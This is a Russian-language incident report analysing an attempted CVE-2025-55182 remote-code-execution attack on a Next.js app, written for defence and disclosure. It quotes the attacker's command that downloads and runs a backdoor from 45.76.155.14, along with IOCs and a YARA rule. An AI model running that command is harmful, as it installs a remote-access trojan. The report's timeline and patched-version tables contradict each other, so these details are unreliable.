Анализ атаки CVE-2025-55182: Удалённое выполнение кода в React Server Components
Анализ реальной атаки на production-приложение Next.js
📋 Содержание
Краткое резюме
5 декабря 2025 года наше production-приложение Next.js подверглось атаке злоумышленников, эксплуатировавших CVE-2025-55182 (React2Shell) — критическую уязвимость удалённого выполнения кода (RCE) в React Server Components. В ходе атаки была предпринята попытка загрузить и запустить на нашем сервере Linux-троян типа backdoor.
| Атрибут | Значение |
|---|
| CVE ID | CVE-2025-55182 |
| Оценка CVSS | 9.8 (критическая) |
| Дата атаки | 5 декабря 2025 года |
| Результат атаки | ✅ Заблокирована (после установки патча) |
| Тип вредоносного ПО | Linux-троян типа backdoor |
| Затронутый стек | Next.js + React Server Components |
Обзор уязвимости
Что такое CVE-2025-55182?
CVE-2025-55182, также известная как «React2Shell», — критическая уязвимость удалённого выполнения кода (RCE), затрагивающая React Server Components (RSC) в:
- React: версии 19.0.0 - 19.2.1
- Next.js: версии 15.x и 16.x (до установки патчей)
Первопричина
Уязвимость находится в функции renderToReadableStream() внутри Flight Server в React. При обработке специально сформированных RSC-полезных нагрузок сервер не выполняет должную санитизацию определённых входных данных, что приводит к произвольному выполнению кода.
Вектор атаки
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
Атакующий отправляет специально сформированный POST-запрос с вредоносной сериализованной полезной нагрузкой, которая десериализуется и выполняется на сервере.
Хронология атаки
Этап 1: Первые попытки эксплуатации (до установки патча)
| Время (UTC) | Событие |
|---|
| 5 дек., 06:20 | Первая атака обнаружена через Sentry |
| 5 дек., 06:20 | Полезная нагрузка пытается выполнить shell-команды |
| 5 дек., 06:20 | Атака частично успешна (до установки патча) |
Журнал ошибок Sentry (до установки патча):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
Этап 2: Развёртывание патча
| Время | Действие |
|---|
| 4 дек., 14:13 | Обновление до Next.js 16.0.7 |
| 4 дек., 14:13 | Развёрнута пропатченная версия (v1.0.0-beta-4) |
Этап 3: Атака заблокирована после установки патча
| Время (UTC) | Событие |
|---|
| 5 дек., 08:48 | Попытка атаки обнаружена |
| 5 дек., 08:48 | Выполнение полезной нагрузки ЗАБЛОКИРОВАНО |
| 5 дек., 08:48 | Ошибка: syntax error: unexpected ";" |
Журнал ошибок Sentry (после установки патча):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
Патч успешно предотвратил выполнение вредоносной команды.
Технический анализ
Детали атакующего запроса
| Атрибут | Значение |
|---|
| Целевой URL | https://[REDACTED]/ |
Анализ полезной нагрузки
Атакующий попытался выполнить следующую цепочку команд:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
Разбор по шагам:
Окружение сервера
| Компонент | Версия |
|---|
| ОС | Alpine Linux 3.23.0 |
| Среда выполнения | Node.js v20.19.6 |
| Фреймворк | Next.js 16.0.7 (пропатчен) |
Анализ вредоносного ПО
Информация о файле
Результаты VirusTotal
Уровень обнаружения: 13/72 (18 %)
Ссылка на VirusTotal: Просмотреть анализ
Анализ бинарного файла
Заголовок ELF:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
Выявленные возможности:
Извлечённые строки (релевантные):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
Сработавшие правила IDS
| Серьёзность | Правило | Источник |
|---|
| НИЗКАЯ | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| НИЗКАЯ | ET DNS Query for .cc TLD | Proofpoint ET Open |
Классификация вредоносного ПО
Тип: Linux-троян типа backdoor
Возможности:
- Удалённый доступ к shell
- Связь с командным центром (C2)
- Загрузка и скачивание файлов
- Шифрованная связь
- Туннелирование трафика через SOCKS5
- Механизмы закрепления в системе
Индикаторы компрометации (IOC)
Сетевые IOC
Файловые IOC
Поведенческие IOC
YARA-правило
rule CVE_2025_55182_Backdoor {
meta:
description = "Detects backdoor distributed via CVE-2025-55182"
author = "Security Researcher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
Меры по устранению и реагированию
Немедленно принятые меры
Жалоба о злоупотреблении
5 декабря 2025 года в Vultr (хостинг-провайдер C2-сервера) была подана жалоба о злоупотреблении, содержащая:
- Вредоносный IP-адрес и URL
- SHA256-хеш вредоносного ПО
- Ссылку на анализ VirusTotal
- Описание вектора атаки (CVE-2025-55182)
Пропатченные версии
| Пакет | Уязвимые версии | Пропатченные версии |
|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (июнь 2025+) |
Рекомендуемые меры защиты
1. Немедленно обновитесь:
2. Заблокируйте вредоносный IP:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. Отслеживайте индикаторы компрометации:
# Check for suspicious files
find /tmp -type f -executable 2>/dev/null
# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"
# Check network connections
netstat -an | grep "45.76.155.14"
4. Выполните ротацию всех секретов:
- Учётные данные базы данных
- JWT-секреты
- API-ключи
- Секреты сессий
Выводы
Что прошло успешно
- Мониторинг Sentry немедленно обнаружил атаку
- Быстрое развёртывание патча — в течение нескольких часов после раскрытия информации об уязвимости
- Контейнеризация Docker ограничила радиус поражения
- Защита после установки патча успешно заблокировала последующие атаки
Что можно улучшить
- Более быстрое обновление — сократить время между раскрытием CVE и установкой патча
- Правила WAF — добавить правила для обнаружения попыток эксплуатации RSC
- Фильтрация исходящего трафика — блокировать исходящие подключения к неизвестным IP-адресам
- Автоматические оповещения — настроить алерты на подозрительные shell-команды
Рекомендации по безопасности
Ссылки
Официальные уведомления
Ресурсы для анализа
Использованные инструменты
Дисклеймер
Этот отчёт опубликован исключительно в образовательных и защитных целях. Бинарный файл вредоносного ПО не включён в этот репозиторий. Исследователи безопасности могут получить образец через VirusTotal, используя указанный SHA256-хеш.
Автор
Опубликовано: 5 декабря 2025 года
Контакты: [Ваши контактные данные или профиль GitHub]
Лицензия
Этот анализ опубликован под лицензией CC BY 4.0. Вы можете свободно делиться этим материалом и адаптировать его с указанием авторства.
Журнал изменений
| Дата | Версия | Изменения |
|---|
| 2025-12-05 | 1.0 | Первая публикация |